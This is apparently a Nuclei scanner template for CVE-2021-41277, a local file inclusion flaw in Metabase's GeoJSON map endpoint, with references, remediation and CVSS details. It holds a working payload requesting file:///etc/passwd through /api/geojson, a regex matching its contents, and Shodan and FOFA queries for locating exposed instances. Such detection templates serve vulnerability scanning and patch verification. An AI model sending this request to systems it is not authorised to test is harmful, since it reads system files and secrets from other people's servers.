id: CVE-2021-41277 info: name: Metabase Local File Inclusion author: 0x_Akoko severity: high description: Metabase is an open source data analytics platform. In affected versions a local file inclusion security issue has been discovered with the custom GeoJSON map (`admin->settings->maps->custom maps->add a map`) support and potential local file inclusion (including environment variables). URLs were not validated prior to being loaded. reference: - https://github.com/metabase/metabase/security/advisories/GHSA-w73v-6p7p-fpfr - https://nvd.nist.gov/vuln/detail/CVE-2021-41277 - https://twitter.com/90security/status/1461923313819832324 - https://github.com/metabase/metabase/commit/042a36e49574c749f944e19cf80360fd3dc322f0 remediation: This issue is fixed in 0.40.5 and .40.5 and higher. If you are unable to upgrade immediately, you can mitigate this by including rules in your reverse proxy or load balancer or WAF to provide a validation filter before the application. classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2021-41277 cwe-id: CWE-20 metadata: fofa-query: app="Metabase" shodan-query: http.title:"Metabase" tags: cve,cve2021,metabase,lfi requests: - method: GET path: - "{{BaseURL}}/api/geojson?url=file:///etc/passwd" matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200 # Enhanced by mp on 2022/03/06